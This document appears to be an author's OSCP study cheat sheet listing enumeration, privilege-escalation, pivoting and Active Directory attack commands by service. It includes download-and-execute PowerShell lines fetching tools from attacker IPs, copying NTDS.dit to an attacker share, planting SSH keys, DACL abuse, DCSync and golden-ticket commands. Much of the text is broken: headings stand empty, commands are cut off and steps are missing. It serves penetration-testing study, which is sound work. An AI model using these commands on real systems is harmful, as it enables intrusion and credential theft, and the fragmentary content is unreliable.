OSCP Methodology Notes
OSCP Methodology Notes
Professional (OSCP)
By: Jacob Swinsinski
Date: 08/24/2022
Goals: This document is intended to spread knowledge to anyone pursuing their OSCP
Certification. It contains notes from past experiences and an abundance of
commands/methods I have had to utilize to gain access to a targeted machine. Credit is given
where it is due.
Plan of Attack:
6 Machines — 70 Points is passing. We’re still shooting for 100 points.
3 Standalone — Must achieve low-priv on one box and full compromise on another.
a. Establish IP-range/scope
# Nmap
nmap -sn 192.168.1.0/24
nmap -sC -sV -O -p- -oA nmap/complete 192.168.1.0/24
# Nmap UDP
nmap -sU -O -p- -oA nmap/Complete_UDP 192.168.1.0/24
# NmapAutomator
NmapAutomator.sh -H 192.168.1.0/24 -t network -s ./nmap
4. Create a “working page” within your notes to store screenshots, proofs, exploits, and more for your exam report.
We will begin with a methodology of what I like doing if I run into a particular port on a target.
Network Enumeration
21/FTP
File Transfer Protocol (FTP)
Anonymous access?
Can we WRITE a file and access it via browser? If so can we upload a webshell and gain access?
Attempt password checking if you found credentials from other enumeration. If so, this will allow you to be able to gain access to a higher
privileged session that can then allow write access if not obtained before.
Banner Grabbing:
nc -vn <IP> 21
Anonymous Login:
ftp <IP>
> anonymous
> anonymous
> ls -a # List all files (even hidden) (yes, they could be hidden)
> binary #Set transmission to binary instead of ascii
> ascii #Set transmission to ascii instead of binary
> bye #exit
Nmap:
#Note: This will still be done with the -sC option in nmap.
Attempt Connection via Browser — Enter the following into the URL:
ftp://anonymous:anonymous@<IP>
Note: that if a web application is sending data controlled by a user directly to a FTP server you can send double URL encode %0d%0a (in
double URL encode this is %250d%250a) bytes and make the FTP server perform arbitrary actions. One of this possible arbitrary actions is
to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http)
Tools:
nmap
wget
netcat
ftp client
22/SSH
Secure Shell (SSH) is an encrypted remote communications protocol.
Note: This is CRUCIAL please check for password reuse as an easy win.
Brute force will 99.9% of the time NOT be the way in.
Banner Grabbing:
nc -vn <IP> 22
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
If you see the highlighted permissions, the private keys are readable and you can then hijack them:
1. cd /.ssh
2. cat id_rsa
3. copy/paste contents of id_rsa into a file in a directory named after the individual’s name you are stealing the key from.
The easiest way to exploit this is to generate a new SSH key pair, add the public key to the file and login using the private key.
# On kali:
ssh-keygen
cat ~/.ssh/id_rsa.pub
# On victim:
echo "ssh-rsa <pub_key_here>= kali@kali" >> /home/user/.ssh/authorized_keys
cat /home/user/.ssh/authorized_keys
ssh user@<IP>
Note that if the key pair was not generated in the default directory for SSH, the private key can be specified using -i.
References:
https://steflan-security.com/linux-privilege-escalation-exploiting-misconfigured-ssh-keys/
https://steflan-security.com/linux-privilege-escalation-exploiting-misconfigured-ssh-keys/
23/Telnet
Telnet is an insecure-in-nature, remote communications protocol. The insecurity is due to it being implemented without the use of encryption. It
was later replaced by SSH. All communications over this protocol can be seen in clear-text over the wire using a packet analyzer such as
Wireshark.
Banner Grabbing:
nc -nv <IP> 23
Nmap Enumeration:
25/SMTP
Simple Mail Transfer Protocol (SMTP) is a mailing protocol that allows hosts to send/receive emails.
Banner Grabbing:
Nmap Enumeration:
80, 443/HTTP(s)
Hyper-Text Transport Protocol (HTTP(s)) is a communications protocol that allows data to be fetched and received from remote Internet sources.
This protocol comes in two different forms HTTP and HTTPs. The “s” means that the protocol is encrypting communications and usually runs on
port 443.
Web Methodology:
1. Start by identifying the technologies used by the web server. Look for tricks to keep in mind once you identify key pieces of tech.
nikto -h <URL>
whatweb -a 4 <URL>
wapiti -u <URL>
w3af
5. Once you have identified the web technology, use the following source to find vulnerabilities:
6. CMS Scanning:
cmsmap
wpscan
joomscan
joomlavs.rb
7. Visual Inspection:
While you have a form of recon going on in the background, visit the site and click around. See what you can discover.
There are 2 main ways of enumerating a web server: directory bruteforcing and web technology enumeration.
This tool is used for enumerating DNS and web server directories via bruteforcing a pre-defined wordlist.
Directory
DNS
Nikto
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses
https://github.com/carlospolop/fuzzhttpbypass
FuzzHTTPBypass:
X-Originating-IP: 127.0.0.1
If the path is protected, you can do the following to attempt to bypass the path protection:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Try using /%2e/path (if the access is blocked by a proxy, this could bypass the protection). Try also** /%252e**/path (double URL encode).
Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will
have already bypassed the /path name check
Other path bypasses:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
https://github.com/lobuhi/byp4xx
Installation:
110, 995/POP
Post Office Protocol (POP) is a networking and IP protocol that extracts and retrieves email from remote email servers for a client machine to
access. POP operates at Layer 7 of the OSI model (Application Layer). This provides end users the ability to send and receive email.
Banner Grabbing:
Nmap Scan:
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
POP Commands:
POP commands:
USER uid Log in as "uid"
PASS password Substitue "password" for your actual password
STAT List number of messages, total mailbox size
LIST List messages and sizes
RETR n Show message n
DELE n Mark message n for deletion
RSET Undo any changes
QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
list
+OK 2 1807
1 786
2 1021
retr 1
Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
We can see that we are able to obtain clear-text credentials from this email via enumeration of POP.
nbtscan <IP>/30
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
Tools:
nmap
nbtscan
Null Session- Allows authentication when credentials are not provided to the server.
Guest Session- Allows authentication as long as a VALID username is provided to the server. Note: the password is not needed
Once the authentication type is figured out, we must then figure out what kind of permissions we are granted with that type of authentication.
Read/Write, or both?
Meanwhile, smbclient is used to authenticate, form, and establish a connection to a remote SMB server to allow a client to manipulate the
server as they please.
nbtscan -r <IP>/24
Enumeration:
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
Have valid creds? Run the following lucrative commands for some juicy information:
psexec/smbexec:
Both options will create a new service in the victim machine and use it to execute an executable over the network.
wmiexec/dcomexec:
Use the following to stealthily execute command shells without touching the disk or to begin to run a new service using DCOM on port 135:
wmiexec.py:
dcomexec.py:
Tools:
CrackMapExec
enum4linux (works for SMB and Samba hosts)
smbmap
smbclient
smbmap → smbclient
This can allow you to identify exposed RPC services and allow you to find additional enumeration routes or vulnerabilities linked to the
system.
rpcdump:
You can now Google the UUID for a vulnerability or known service that will aid you in enumeration.
IFID value
Named pipe
Description
12345778-1234-abcd-ef00-0123456789ab
\pipe\lsarpc
LSA interface, used to enumerate users
3919286a-b10c-11d0-9ba8-00c04fd92ef5
\pipe\lsarpc
LSA Directory Services (DS) interface, used to enumerate domains and trust relationships
12345778-1234-abcd-ef00-0123456789ac
\pipe\samr
LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account locko
1ff70682-0a51-30e8-076d-740be8cee98b
\pipe\atsvc
Task scheduler, used to remotely execute commands
338cd001-2244-31f1-aaaa-900038001003
\pipe\winreg
Remote registry service, used to access the system registry
367abb81-9844-35f1-ad32-98f038001003
\pipe\svcctl
Service control manager and server services, used to remotely start and stop services and execute commands
4b324fc8-1670-01d3-1278-5a47bf6ee188
\pipe\srvsvc
Service control manager and server services, used to remotely start and stop services and execute commands
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
\pipe\epmapper
DCOM interface, supporting WMI
NOTE:
Remember the APT box when we had to utilize IOXIDRESOLVER to enumerate IPv6 interface information? This then led to a vast
increase in overall box attack surface? Well, the same methodology applies here.
https://github.com/mubix/IOXIDResolver
rpcclient
Tool:
rpcclient
rpcdump
Nmap:
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Ldapsearch
Null Authentication:
Valid Creds:
Tools:
CrackMapExec
Nmap NSE
ldapsearch
ldapdomaindump
2049/NFS
Open NFS’s work by utilizing read/write access permissions.
Tools:
Mount: For mounting share availability
Showmount: For finding shares available
Tool:
mysql (Client)
5985, 5986/WINRM
Windows Remote Management (WinRM) is a remote management tool that allows a user to connect to a remote machine via command-line
interface (CLI).
Remember that when we see these ports open, we will have a 99% chance of utilizing Evil-WinRM to connect to the box.
LAPS in use?
Password Spraying:
Authentication:
Tools:
Evil-WinRM (Tool)
CrackMapExec
3389/RDP
Remote Desktop Protocol (RDP) is a remote management protocol that allows users to remote into a machine. Very similar to WinRM. However,
RDP grants a user access to the machine via Graphical User Interface (GUI).
Use different clients such as remmina if you have any errors with other clients
snmp-check <IP>
snmpwalk:
Tools:
snmp-check
snmpwalk
nmap
53/DNS
Domain Name Service (DNS) is a protocol that allows systems to resolve hostnames to IP addresses. This allows for computers to become much
more user friendly as users do not have to remember IP addresses (i.e. x.x.x.x) but rather hostnames (i.e. Google.com).
Zone Transfer:
More Info:
DIG:
DNSENUM:
NSLookup:
nslookup
> Default server: 127.0.0.1
Address: 127.0.0.1#53
> server 10.129.227.211
Default server: 10.129.227.211
Address:10.129.227.211#53
> 10.129.227.211
211.227.129.10.in-addr.arpa name = ns1.cronos.htb
IPv6:
dnsdict6 -s -t <domain>
Tools:
NSLOOKUP
DIG
Dnsenum
dnsdict6
dnsrecon
https://github.com/swisskyrepo/PayloadsAllTheThings
Introduction
Learn to use Crackmapexec
https://wiki.porchetta.industries/
HackTricks
Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and
reading researches and news.
https://book.hacktricks.xyz/welcome/readme
Web Enumeration
Vulnerability-Specific:
SQL Injection
Reference:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
General Methodology:
Writing Files:
You can find the WebHosting Directory by using the LFI list!
For Windows, use \\<Attacker IP>\sharename\file to get hash for the user!
# Be sure to watch Unknown Artist's YouTube video for proper Responder usage during the OSCP exam.
responder -I tun0
Command Injection
Checking for vulnerabilities:
Windows:
Attacker:
Target:
Attacker:
Target:
Framework-Specific:
CMS
Finding:
Source Code
Login page
Comments
Validating:
Don’t trust version numbers all the time. Sometimes just fire an exploit at it.
Exploiting:
Validate first
Wordpress
WPscan
Other Framework
Custom exploits take place here and you might need to use a multitude of methods to find the right vulnerability path.
X-Forwarded-For: 127.0.0.1
Privilege Escalation
Windows:
Manual Approach:
1. Check low privilege shell permission:
whoami /priv
2. Check software installation directory and find suspicious programs/binaries that are installed:
a. An executable path that contains spaces and is NOT enclosed within quotes.
c. It allows a user to gain SYSTEM level privileges but only if the vulnerable service is running with SYSTEM level privileges (which
most of the time it is).
Import-Module .\PowerUp.ps1
get-UnquotedService
References:
HTB: Control
Control was a bit painful for someone not comfortable looking deep at Windows objects and permissions. It starts off
simply enough, with a website where I'll have to forge an HTTP header to get into the admin section, and then identify an
SQL injection to write a webshell and dump user hashes.
https://0xdf.gitlab.io/2020/04/25/htb-control.html
https://thehackernews.com/2019/05/windows-zero-day-vulnerability.html
Windows:
1. PowerUp
2. WinPEAS
References:
https://github.com/bitsadmin/wesng
Linux:
Manual Approach:
1. Check for sudoers misconfigurations:
sudo -l
References:
References:
GTFOBins
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured
systems. The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted
shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other
https://gtfobins.github.io/
References:
VulnHub - Kioptrix: Level 4
In reviewing multiple blogs and websites, the Kioptrix series is supposed to be for penetration tester beginners and is
rumored to be similar to the challenges within Offensive Security's PWK coursework. Since I classify myself as a
beginner/novice, my goal is to work through this series and document my findings along the way.
https://bond-o.medium.com/vulnhub-kioptrix-level-4-bc4184a79eeb
netstat -tulnp
netstat -plnt
uname -r
searchsploit <name/version_here>
Automated Approach:
1. Linux Smart Enumeration
2. LinPEAS
3. Lin Enum
References:
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/rebootuser/LinEnum
We need to overflow buffer space → write over buffer space down to EIP → Control the stack → spawn reverse shell
1. Spiking
2. Fuzzing
a. We need to find out which characters are compatible with the shellcode and which characters are not.
a. Looking for a DLL or something similar within a program that does not contain memory protections.
https://tryhackme.com/room/bufferoverflowprep
TryHackMe | Brainpan 1
Reverse engineer a Windows executable, find a buffer overflow and exploit it on a Linux machine.
https://tryhackme.com/room/brainpan
On Windows:
cd jacob:
Evil-WinRM:
Kali2Windows
Certutil Method:
On Kali:
python3 -m http.server
On Windows:
Pivoting:
Reference:
Context: You compromised one machine on a network and you want to go to the next machine. You will use the first machine as a staging
point with your foothold to break into machine 2. The technique of using one compromised machine to access another is called pivoting.
Machine one is the pivot in this example. The pivot is just used as a way to channel or funnel our attack.
Commands:
# Windows
ipconfig /all
route print
#Linux
ifconfig
ifconfig -a
https://www.youtube.com/watch?v=JDUrT3IEzLI
Port Forwarding:
Context: You are on a network and you want to connect an FTP server or any other port to upload or download some files. However,
someone put crazy firewall rules (egress) filters that prohibits outgoing traffic on all ports except port 80. How will you be able to
connect our FTP server?
What we can do is add a machine that redirects/forwards all traffic that it receives on port 80 to port 21 on a different machine.
Installing rinetd:
We need to now modify the default config file that can be found in: /etc/rinetd.conf
Example/Use-Case:
Machine3 (333.333.333.333), Will host the ftp-server that machine1 wants to connect to.
/etc/init.d/rinetd restart
Conclusion:
The bind-address is where the proxy receives the connection and the connect-address is the machine it forwards the connection to.
You want to encrypt traffic that uses unencrypted protocols such as:
You are on a public network and want to encrypt all your HTTP traffic.
Now this port will be available on your localhost. So you can go to:
nc localhost:10000
By the way, plink is an ssh-client for Windows that can be run from the terminal. The IP of the attacking machine is 111.111.111.111.
How-To:
2. Now, we can check netstat on our attacking machine, we should see something like this:
This means that we can connect to that port on the attacking machine from the attacking machine.
However, this can be a hassle if your target machine has 10 ports open that you want to connect to. Instead, we can use a dynamic port
forwarding technique.
Dynamic port forwarding sounds really complicated, but it is very easy to set up. Just set up the tunnel like this. After is is set up, do not
run any commands in that session.
Since proxychains uses 9050 by default (the default port for tor), we do not even need to configure proxychains.
proxychains nc 192.168.2.222 21
1. Machine1 - 111.111.111.111
2. Machine2
First we check out what the public IP address is. We do this so that we know the IP address before and after so we can verify that it
works.
# On machine2 we run
ssh -D localhost:9999 [email protected]
Now you go to Firefox/settings/advanced/network and SOCKS to add 127.0.0.1 and port 9999.
WARNING: This setup will more than likely leak DNS. Do not use if you need opsec.
media.peerconnection.established
SSHuttle:
This is a great tool that can allow you to pivot across networks.
https://www.youtube.com/watch?v=lGr7VUCBvOQ
https://github.com/sshuttle/sshuttle
Installation:
Usage:
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
AceType : AccessAllowed
ObjectDN : CN=it_admin,CN=Users,DC=BURMAT,DC=CO
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2736429227-4547413232-2815246478-1130
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2736429227-4547413232-2815246478-1107
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/ps/SharpHound.ps1');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;
https://www.youtube.com/watch?v=QfyZQDyeXjQ
https://www.youtube.com/watch?v=pZSyGRjHNO4
https://www.youtube.com/watch?v=VLA7x81i5Pw
https://www.youtube.com/watch?v=xH5T9-m9QXw
https://www.youtube.com/watch?v=o98_eRt777Y
https://www.youtube.com/watch?v=_nJ-b1UFDVM
ReadGMSAPassword:
This allows an attacker to use the password of a Group Managed Service Account which usually has elevated privileges.
How-To:
$gmsa
$mp = $gmsa.'msds-managedpassword'
$mp
$mp1
$passwd = $mp1.'currentpassword'
$passwd
$user 'BIR-ADFS-GMSA$'
ReadGMSAPassword in BloodHound
GenericWrite/GenericAll/AllExtendedRights:
Allows an attacker to modify the object in question. In this example, we change the password of a Domain Admin. GenericWrite allows the
modification of certain things.
How-To:
Invoke-Command -computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-Secu
#kali:
wmiexec.py 'search/tristan.davies:[email protected]'
Why would you invoke a command on localhost? This is because I am using another user’s credentials.
ForceChangePassword:
GenericWrite
Requires: PowerView.ps1
How-To:
. .\PowerView.ps1
# On Kali:
PowerView:
Allows for additional manipulation of AD. Many of the commands presented by BloodHound require PowerView.
How-To:
. .\PowerView.ps1
ls
type out
WriteOwner:
Allows an attacker to set the owner of the object and make themselves a member of the object.
How-To:
. .\PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria' # Make Maria the owner
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights all # Grant Maria all rights
In this example, we can be seen taking the NTDS.dit and System.hive file.
This grants you access to files even if you do not have permissions.
How-To:
whoami /priv
SeBackupPrivilege Enabled
SeRestorePrivilege Enabled
gci c:\
In other words, if you EVER SEE SeBackupPrivilege, you AUTOMATICALLY have access to root.txt as soon as you run this
command!
1. Initiate Backup
# Pay attention to the version of wbadmin and the second date of version identifier as you will need this for the next command.
3. Obtain NTDS.dit:
cp ntds.dit \\<tun0_IP>\smb\NTDS.dit
cp system.hive \\<tun0_IP>\smb\system.hive
exit
You will then have an entire dump of hashes obtained from the entire Active Directory.
C:\>whoami
blackfield\administrator
For example, grab the administrator hash for domain access. Grab the second half of the hash only, not the entire thing.
Placing a new user in a group with WriteDACL, enables an attacker to modify the new user’s DACL.
Step 1:
# Kali
Bypass-4MSI
[+] Success!
Step 2:
# On Kali
locate PowerView.ps1
python3 -m http.server
# On Windows
iex(new-object net.webclient).downloadstring('http://<kali_ip>:8000/PowerView.ps1')
exit
# On Kali
secretsdump.py htb\jacob@<IP>
Password: Password1234!
# You will obtain all of the hashes. Grab the administrator hash (the second half).
C:\Windows\system32>
GetChangesAll/Replication (DCSync):
This is one of the coolest escalation vectors in my opinion.
Example:
C:\Windows\system32> whoami
nt authority\system
AS-REPRoasting means that Kerberos Pre-Authentication is disabled on that user. You will also receive a TGT hash that can then be
cracked. This can be accomplished with the script below.
# You will get a TGT hash. Save the hash in a file and crack the hash
.\mimikatz.exe
Credentials:
Hash NTLM: <Hash_Here>
Kerberos Cheatsheet:
Bruteforcing
Kerbrute.py:
Rubeus:
# List of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
AS-REPRoasting
Impacket (GetNPUsers.py):
Kerberoasting
Impacket (GetUserSPNs.py):
Rubeus:
# Execute remote commands with any of the following by using the TGT
psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Rubeus:
# Request/Inject ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
PsExec:
Rubeus:
.\Rubeus dump
# Execute remote commands with any of the following by using the TGT
psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Windows:
Silver Ticket
Impacket:
Mimikatz:
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name
Rubeus:
Golden Ticket
Impacket:
# Execute remote commands with any of the following by using the TGT
psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Mimikatz:
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
Rubeus:
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
$user = 'DOMAIN\owner_acct';
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
Set-DomainObjectOwner -Identity it_admin -OwnerIdentity burmat
Add-DomainObjectAcl -TargetIdentity it_admin -PrincipalIdentity burmat
$newpass = ConvertTo-SecureString -String 'burmat123$' -AsPlainText -Force
Set-DomainUserPassword -Identity it_admin -AccountPassword $newpass
Cheatsheets:
Mimikatz
The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and
remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection
for the LSA to prevent reading memory and code injection by non-protected processes.
https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz
SQL Injection
interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they
are not normally able to retrieve. This might include data belonging to other users, or any other data that the application
itself is able to access.
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
Login Bypass
Checklist - Local Windows Privilege Escalation
https://book.hacktricks.xyz/pentesting-web/login-bypass
IDOR
Checklist - Local Windows Privilege Escalation
https://book.hacktricks.xyz/pentesting-web/idor
https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti
Command Injection
Checklist - Local Windows Privilege Escalation
https://book.hacktricks.xyz/pentesting-web/command-injection